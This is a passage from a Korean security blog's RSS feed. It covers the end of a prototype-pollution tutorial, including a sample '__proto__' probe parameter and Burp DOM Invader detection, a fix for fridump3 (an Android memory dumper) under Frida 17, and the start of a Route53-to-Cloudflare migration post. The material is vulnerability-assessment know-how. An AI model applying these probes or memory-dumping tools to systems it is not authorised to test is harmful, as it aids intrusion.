data-og-image=&quot;https://scrap.kakaocdn.net/dn/9PjrC/hyZDTtWfqK/UCAaON3Q7OaEqH6lr5neSK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bOXTt0/hyZDbaGfES/t2zK4PFEeVcbKAvFRI2frK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/9PjrC/hyZDTtWfqK/UCAaON3Q7OaEqH6lr5neSK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bOXTt0/hyZDbaGfES/t2zK4PFEeVcbKAvFRI2frK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;What is prototype pollution? | Tutorial &amp;amp; examples | Snyk Learn&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Learn what JavaScript prototype pollution is and how to prevent it.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;learn.snyk.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;&lt;b&gt;- 크로스 사이트 스크립팅(XSS) 등 2차 공격:&lt;/b&gt; &lt;/span&gt;클라이언트 사이드에서 프로토타입 오염은 종종 DOM XSS로 이어질 수 있다. 공격자는 프로토타입에 악의적인 스크립트 문자열이나 DOM 조작용 속성을 심어놓고, 애플리케이션 내 다른 컴포넌트가 그 속성을 사용하도록 유도한다. 예를 들어, PP 속성 값이 나중에 &lt;code&gt;innerHTML&lt;/code&gt;에 삽입되거나 &lt;code&gt;eval&lt;/code&gt;로 실행되는 취약한 코드가 있다면 결국 임의 스크립트 실행이 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/#:~:text=this%20is%20known%20as%20a,I%20had%20achieved%20the&quot;&gt;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1756648776485&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Persisting Through a Client-Side Prototype Pollution&quot; data-og-description=&quot;In this blog, I&amp;rsquo;ll consolidate that information, share my understanding of CSPP vulnerabilities, and provide recommendations for prevention.&quot; data-og-host=&quot;www.synack.com&quot; data-og-source-url=&quot;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/#:~:text=this%20is%20known%20as%20a,I%20had%20achieved%20the&quot; data-og-url=&quot;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Vw3p3/hyZC1ePKEH/VZbqHHRvWwF4m5K5Iyz9r0/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080,https://scrap.kakaocdn.net/dn/b6HEGh/hyZHaAMRAH/mQsrfuO9Vj2QpSKC4G3ke0/img.png?width=1&amp;amp;height=1&amp;amp;face=0_0_1_1,https://scrap.kakaocdn.net/dn/bxJic1/hyZG6SGJuC/oxc6w6kvMcHViSC13j0nTk/img.png?width=1024&amp;amp;height=683&amp;amp;face=0_0_1024_683&quot;&gt;&lt;a href=&quot;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/#:~:text=this%20is%20known%20as%20a,I%20had%20achieved%20the&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.synack.com/exploits-explained/persisting-through-a-client-side-prototype-pollution/#:~:text=this%20is%20known%20as%20a,I%20had%20achieved%20the&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Vw3p3/hyZC1ePKEH/VZbqHHRvWwF4m5K5Iyz9r0/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080,https://scrap.kakaocdn.net/dn/b6HEGh/hyZHaAMRAH/mQsrfuO9Vj2QpSKC4G3ke0/img.png?width=1&amp;amp;height=1&amp;amp;face=0_0_1_1,https://scrap.kakaocdn.net/dn/bxJic1/hyZG6SGJuC/oxc6w6kvMcHViSC13j0nTk/img.png?width=1024&amp;amp;height=683&amp;amp;face=0_0_1024_683');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Persisting Through a Client-Side Prototype Pollution&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;In this blog, I&amp;rsquo;ll consolidate that information, share my understanding of CSPP vulnerabilities, and provide recommendations for prevention.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.synack.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 진단 도구&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp Suite Pro 에서는 DOM Invader 도구를 제공하고 있다. 브라우저 내에서 실행되는 클라이언트 측 코드(DOM 기반 취약점)을 탐색하고, 공격 페이로드를 주입하여 보안 취약점을 발견할 수 있게 해주는 확장 도구이다. PP 취약점은 URL 파라미터 &amp;gt; 자바스크립트 객체 변환 &amp;gt; 앱 로직 반영의 순서로 발생하는데, DOM Invader는 이 과정을 자동으로 확인해 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM Invader 설정에서 Prototype Pollution 체크를 활성화하면, Burp는 자동으로 URL 파라미터, 프래그먼트(#), postMessage 데이터 등 입력 경로(source)에 &lt;code&gt;__proto__&lt;/code&gt;나 &lt;code&gt;constructor.prototype&lt;/code&gt; 형태의 페이로드를 삽입한다. DOM Invader는 앱 코드에서 이 값이 객체 병합에 사용되는지, &lt;code&gt;Object.prototype&lt;/code&gt;에 전파되는지를 추적한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패널에는 다음 정보가 표시된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Source:&lt;/b&gt;&amp;nbsp;페이로드가 삽입된 위치(예: URL 쿼리 파라미터 foo[__proto__][pp]=1)&lt;br /&gt;&lt;b&gt;Sinks:&amp;nbsp;&lt;/b&gt;해당 값이 실제로 도달한 DOM API나 merge 함수(Object.assign, $.extend, _.merge 등)&lt;br /&gt;&lt;b&gt;Evidence:&lt;/b&gt;&amp;nbsp;오염이 확인되면 Burp가 Object.prototype에서 새 속성이 발견되었다는 PoC를 표시&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로토타입 오염 취약점은 자칫 간과하기 쉽지만 공격자가 이를 이용하면 &lt;b&gt;애플리케이션 전반에 중대한 영향을 끼칠 수 있는 논리 폭탄&lt;/b&gt;과 같다. 프로토타입 기반 언어인 자바스크립트의 특성을 악용하는 공격이므로, 개발자는 평소 객체 병합이나 JSON 파싱 로직을 구현할 때 보안 가이드라인을 준수해야 한다.&lt;/p&gt;</description>
      <category>Security/WEB</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/298</guid>
      <comments>https://gomguk.tistory.com/298#entry298comment</comments>
      <pubDate>Mon, 1 Sep 2025 05:30:09 +0900</pubDate>
    </item>
    <item>
      <title>[Fridump3] Frida 17 이상 버전에서 Not a function 에러 해결</title>
      <link>https://gomguk.tistory.com/296</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;코드만 필요하신 경우 가장 아래에 github 페이지에서 확인할 수 있습니다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Frida 17+ 환경에서 fridump3 호환 문제 해결&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 Frida가 &lt;b&gt;17.0.0 이상 버전&lt;/b&gt;으로 업그레이드되면서 기존에 사용하던 &lt;a href=&quot;https://github.com/rootbsd/fridump3&quot;&gt;fridump3&lt;/a&gt;가 더 이상 정상 동작하지 않는 문제가 발생합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctzr0Q/btsPSTC0K8O/zMVhf9eHY3bsvmGWOxDHek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctzr0Q/btsPSTC0K8O/zMVhf9eHY3bsvmGWOxDHek/img.png&quot; data-alt=&quot;not a function 에러&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctzr0Q/btsPSTC0K8O/zMVhf9eHY3bsvmGWOxDHek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fctzr0Q%2FbtsPSTC0K8O%2FzMVhf9eHY3bsvmGWOxDHek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1201&quot; height=&quot;352&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;352&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;not a function 에러&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림처럼 fridump에서 발생하는 에러는 아니지만 not a function 에러는 동일하게 발생한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 fridump3는 Frida 16.x 이하 버전의 API를 기반으로 작성되어 있어, &lt;b&gt;Frida 17+에서 제거되거나 변경된 메서드&lt;/b&gt;를 그대로 사용하고 있다.&lt;br /&gt;검색을 통해 확인한 결과, 대부분의 해결 방법은 &lt;b&gt;Frida 버전을 낮추어 사용하는 우회 방식&lt;/b&gt;뿐이었고, 최신 버전에서 바로 사용할 수 있는 패치는 제시되지 않고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인을 분석한 결과, &lt;b&gt;Process에 attach한 뒤 Memory를 읽는 방식에서 API 변경&lt;/b&gt;이 주된 문제임을 확인했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주요 API 변경 사항 (Frida 17+)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Frida 17.0.0 릴리스에서 다음과 같은 주요 변경이 있었다.&lt;br /&gt;(참고: &lt;a href=&quot;https://frida.re/news/2025/05/17/frida-17-0-0-released/&quot;&gt;Frida 17 Release Note&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;height: 72px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;th style=&quot;height: 18px;&quot;&gt;Legacy API (Deprecated)&lt;/th&gt;
&lt;th style=&quot;height: 18px;&quot;&gt;New API (Frida 17+)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;Module.getExportByName()&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;Process.getModuleByName(...).getExportByName(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;Module.getBaseAddress()&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;Process.getModuleByName(...).base&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;Memory.readU8/U32/Utf8String()&lt;/code&gt; on &lt;code&gt;ptr()&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center; height: 18px;&quot;&gt;&lt;code&gt;ptr(...).readU8()&lt;/code&gt; (method chaining)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;수정 방법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Frida 공식 문서(&lt;a href=&quot;https://frida.re/docs/javascript-api/&quot;&gt;JavaScript API Docs&lt;/a&gt;)를 참조하여, fridump3의 후킹 스크립트 내 함수 호출부를 모두 수정했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;수정 범위:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Memory 읽기 로직 수정&lt;/b&gt; &amp;ndash; 새로운 메서드 체이닝 방식 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모듈 주소/심볼 획득 방식 변경&lt;/b&gt; &amp;ndash; &lt;code&gt;Process.getModuleByName()&lt;/code&gt; 기반으로 변경&lt;/li&gt;
&lt;li&gt;기타 Deprecated API 호출 제거 및 최신 방식으로 대체&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;수정 후 실행 예시&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;python3 fridump.py -u -r [PID] -s&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;옵션&amp;nbsp;설명: &lt;br /&gt;&lt;br /&gt;`-u` : USB 연결 디바이스에 attach &lt;br /&gt;&lt;br /&gt;`-r` : 프로세스(PID)&lt;br /&gt;&lt;br /&gt;`-s` : 문자열 출력&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결과&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; &lt;br /&gt;&amp;nbsp;- 기존 fridump3 명령어와 옵션을 그대로 사용 가능 &lt;br /&gt;&lt;br /&gt;&amp;nbsp;- Frida 17.0.0 이상 환경에서 정상 작동 확인(기존 로직은 삭제하였으므로 17 미만 버전은 정상동작하지 않음)&lt;br /&gt;&lt;br /&gt;원본 fridump3의 기능(메모리 덤프, 섹션 파싱 등)은 그대로 유지&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;소스코드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원본 fridump3:&amp;nbsp;&lt;a href=&quot;https://github.com/rootbsd/fridump3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/rootbsd/fridump3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Frida&amp;nbsp;17+&amp;nbsp;호환&amp;nbsp;버전:&amp;nbsp;&lt;a href=&quot;https://github.com/PeanutKingPeanut/fridump3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/PeanutKingPeanut/fridump3&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1755090352576&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - PeanutKingPeanut/fridump3: A universal memory dumper using Frida 17+ compatibility for Python 3&quot; data-og-description=&quot;A universal memory dumper using Frida 17+ compatibility for Python 3 - PeanutKingPeanut/fridump3&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/PeanutKingPeanut/fridump3&quot; data-og-url=&quot;https://github.com/PeanutKingPeanut/fridump3&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/BQxwV/hyZuGhpmQr/XQ4toERHj3gPoMO7Eld03K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/eVc01/hyZyizemo2/Z0wrIVnE90t4zTNCvjRYAk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/PeanutKingPeanut/fridump3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/PeanutKingPeanut/fridump3&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/BQxwV/hyZuGhpmQr/XQ4toERHj3gPoMO7Eld03K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/eVc01/hyZyizemo2/Z0wrIVnE90t4zTNCvjRYAk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - PeanutKingPeanut/fridump3: A universal memory dumper using Frida 17+ compatibility for Python 3&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A universal memory dumper using Frida 17+ compatibility for Python 3 - PeanutKingPeanut/fridump3&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>Frida 17+</category>
      <category>fridump3</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/296</guid>
      <comments>https://gomguk.tistory.com/296#entry296comment</comments>
      <pubDate>Wed, 13 Aug 2025 22:12:22 +0900</pubDate>
    </item>
    <item>
      <title>Route53 도메인 CloudFlare 이전하기</title>
      <link>https://gomguk.tistory.com/295</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;이전을 고민한 이유&lt;/h3&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;230&quot; data-ke-size=&quot;size16&quot;&gt;도메인 운영에서 DNS 서비스는 단순한 네임서버 수준을 넘어 &lt;b&gt;보안, 인증서 관리, 성능 최적화, 그리고 인프라 통합&lt;/b&gt;의 기반이 됩니다.&lt;/p&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;230&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;230&quot; data-ke-size=&quot;size16&quot;&gt;리버스프록시 환경에서 몇 개 정도 인터넷에 오픈해 둔 서비스가 있는데, 이용자 대신 많은 봇과 크롤러들이 방문하고 있음을 확인했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2171&quot; data-origin-height=&quot;1202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTLnIm/btsPrrIhRLz/dsr6jX9i55MiKLzvDflSDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTLnIm/btsPrrIhRLz/dsr6jX9i55MiKLzvDflSDK/img.png&quot; data-alt=&quot;proxy access log&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTLnIm/btsPrrIhRLz/dsr6jX9i55MiKLzvDflSDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTLnIm%2FbtsPrrIhRLz%2Fdsr6jX9i55MiKLzvDflSDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2171&quot; height=&quot;1202&quot; data-origin-width=&quot;2171&quot; data-origin-height=&quot;1202&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;proxy access log&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;230&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;310&quot; data-start=&quot;230&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;510&quot; data-start=&quot;312&quot; data-ke-size=&quot;size16&quot;&gt;AWS의 Route 53은 &lt;b&gt;AWS Certificate Manager(ACM)&lt;/b&gt; 및 &lt;b&gt;Application Load Balancer(ALB)&lt;/b&gt; 등 AWS 서비스와의 연동에 최적화되어 있어, 인증서 자동 갱신과 로드밸런싱을 통해 서비스 가용성과 안정성을 확보할 수 있다. AWS 인프라 내에서의 통합 운용을 중시한다면 매우 강력한 선택지이다.&lt;/p&gt;
&lt;p data-end=&quot;647&quot; data-start=&quot;512&quot; data-ke-size=&quot;size16&quot;&gt;그러나 웹서비스의 보안과 성능 요구가 엣지 네트워크 중심으로 이동하면서, &lt;b&gt;Cloudflare&lt;/b&gt;와 같은 &lt;b&gt;통합 CDN+보안 플랫폼&lt;/b&gt;이 주목받고 있다. Cloudflare는 다음과 같은 기능을 &lt;b&gt;무료 플랜에서도 통합 제공한&lt;/b&gt;다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;821&quot; data-start=&quot;649&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;685&quot; data-start=&quot;649&quot;&gt;&lt;b&gt;L3, L4, L7 전 계층에 대한 DDoS 공격 방어&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;718&quot; data-start=&quot;686&quot;&gt;&lt;b&gt;글로벌 CDN을 통한 콘텐츠 캐싱 및 성능 향상&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;758&quot; data-start=&quot;719&quot;&gt;&lt;b&gt;SSL/TLS 인증서 자동 제공 (Universal SSL)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;789&quot; data-start=&quot;759&quot;&gt;&lt;b&gt;기본적인 웹 방화벽(WAF) 정책과 봇 차단&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;821&quot; data-start=&quot;790&quot;&gt;&lt;b&gt;빠른 DNS 응답 속도 및 직관적인 관리 UI&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;878&quot; data-start=&quot;823&quot; data-ke-size=&quot;size16&quot;&gt;이러한 강점에도 불구하고, &lt;b&gt;Cloudflare 무료 플랜에는 아래와 같은 제약도 존재&lt;/b&gt;한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1445&quot; data-start=&quot;880&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1086&quot; data-start=&quot;880&quot;&gt;&lt;b&gt;SSL 인증서 적용 범위 제한&lt;/b&gt;: 무료 Universal SSL은 기본적으로 example.com, www.example.com 등 &lt;b&gt;최상위 도메인 및 1단계 서브도메인까지만 인증서가 적용&lt;/b&gt;이 가능하다. 예를 들어, api.dev.example.com과 같은 &lt;b&gt;2단계 이상의 서브도메인에는 인증서가 적용되지 않아 연결 경고가 발생&lt;/b&gt;할 수 있다.&lt;/li&gt;
&lt;li data-end=&quot;1176&quot; data-start=&quot;1087&quot;&gt;&lt;b&gt;WAF(웹 방화벽) 룰 커스터마이징&lt;/b&gt;이 제한되어 있으며, 고급 보안 기능(예: 사용자 지정 룰셋, 위협 점수 기반 제어)은 유료 플랜에서만 제공된다.&lt;/li&gt;
&lt;li data-end=&quot;1268&quot; data-start=&quot;1177&quot;&gt;&lt;b&gt;트래픽 분석 및 로그 저장 기능 부재&lt;/b&gt;: 로그 기반 이상 탐지나 세밀한 트래픽 분석이 어려우며, 유료 Add-on 또는 별도 외부 도구 연동이 필요하다.&lt;/li&gt;
&lt;li data-end=&quot;1361&quot; data-start=&quot;1269&quot;&gt;&lt;b&gt;서비스 수준 계약(SLA) 미제공&lt;/b&gt;: 무료 플랜은 가용성이나 응답 시간에 대한 SLA가 없으며, 이는 안정성을 중시하는 서비스에는 리스크가 될 수 있다.&lt;/li&gt;
&lt;li data-end=&quot;1445&quot; data-start=&quot;1362&quot;&gt;&lt;b&gt;Rate Limiting, 페이지 규칙 세분화, Edge Function(Workers) 등 일부 고급 기능은 제한되거나 유료 전용&lt;/b&gt;입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1592&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size16&quot;&gt;이처럼 각각의 플랫폼은 장단점이 명확하며, 필자가 운영하는 환경에서는 속도나 SLA 측면에서 큰 영향을 받지 않기 때문에 이번 글에서는 &lt;b&gt;AWS Route 53에서 Cloudflare로 도메인을 이전하게 된 배경과 그 과정&lt;/b&gt;, 그리고 &lt;b&gt;Cloudflare 무료 플랜을 선택하면서 감수해야 할 한계점에 대한 고려&lt;/b&gt;를 함께 정리한다.&lt;/p&gt;
&lt;p data-end=&quot;1592&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1592&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size23&quot;&gt;2. Cloudflare&lt;/h3&gt;
&lt;p data-end=&quot;267&quot; data-start=&quot;129&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Cloudflare&lt;/b&gt;는 단순한 DNS 서비스 제공자를 넘어, &lt;b&gt;전 세계적으로 분산된 엣지 네트워크를 기반으로 한 CDN(콘텐츠 전송 네트워크), 웹 보안, 성능 최적화, DDoS 방어&lt;/b&gt; 기능을 통합 제공하는 대표적인 엣지 플랫폼이다.&lt;/p&gt;
